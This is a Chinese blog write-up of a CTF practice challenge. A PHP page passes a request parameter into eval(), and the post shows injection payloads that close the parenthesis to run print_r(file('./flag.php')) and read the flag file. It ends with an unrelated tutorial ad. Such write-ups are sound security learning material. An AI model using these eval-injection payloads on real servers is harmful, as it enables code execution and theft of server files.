1. 程式人生 > >CTF/CTF練習平臺-本地包含【eval函式閉合及程式碼段的理解】

CTF/CTF練習平臺-本地包含【eval函式閉合及程式碼段的理解】

               

原題內容:

地址:http://120.24.86.145:8003/


怎麼說呢,難其實也不難,還是基本知識點掌握不足吧,寫個wp記錄下自己學習到的知識點

<?php     include "flag.php";     $a = @$_REQUEST['hello'];     eval
( "var_dump($a);");     show_source(__FILE__); ?>

拿到程式碼,還是很簡單就分析出hello這個post/get獲取的引數值很重要($_REQUEST對get,post都能接受)

簡單起見,當然選擇get傳值

其實根據最基本注入''引號閉合的思路,很容易就想到了利用括號,畢竟,eval中是執行的程式碼段

最基本的:

http://120.24.86.145:8003/index.php?hello= 1);print_r(2

上面的程式碼結合起來就是:

eval( "var_dump(1);print_r(2);"
);

結果也是很明顯:


說明執行沒問題,其實後面就簡單了,開啟檔案就好

下面理一理兩個失誤點,



第一點,看了大佬們wp,對大佬們的答案,非常不理解:

hello=);print_r(file("./flag.php"));//

問了一個大佬才知道這裡的訣竅

劃重點,這裡很關鍵,

eval函式中,“”內部為程式碼,//只在程式碼中起作用,相當於只註釋了);


第二點,file_get_contents與file及var_dump,print_r和echo(劃重點,後面三個的區別有待解決


這個的區別我在網上沒有找到詳細的解釋,不過,我本地做了個測試,簡單說明下問題吧,求大佬解答






file測試沒問題,接下來看file_get_contents,先不說明,看幾張圖


這個圖的測試結果,顯示空白,於是我進行了接下來的測試






這我就很好奇了,接下來我刪除該字串又測試了echo,依舊是空白

緊接著我測試了var_dump()


沒錯,可以顯示


按照php手冊的解釋,file_get_contents讀取檔案為字串,var_dump證明了這一點,可是print_r和echo為啥不能輸出?

待解決,以後補上



           

再分享一下我老師大神的人工智慧教程吧。零基礎!通俗易懂!風趣幽默!還帶黃段子!希望你也加入到我們人工智慧的隊伍中來!https://blog.csdn.net/jiangjunshow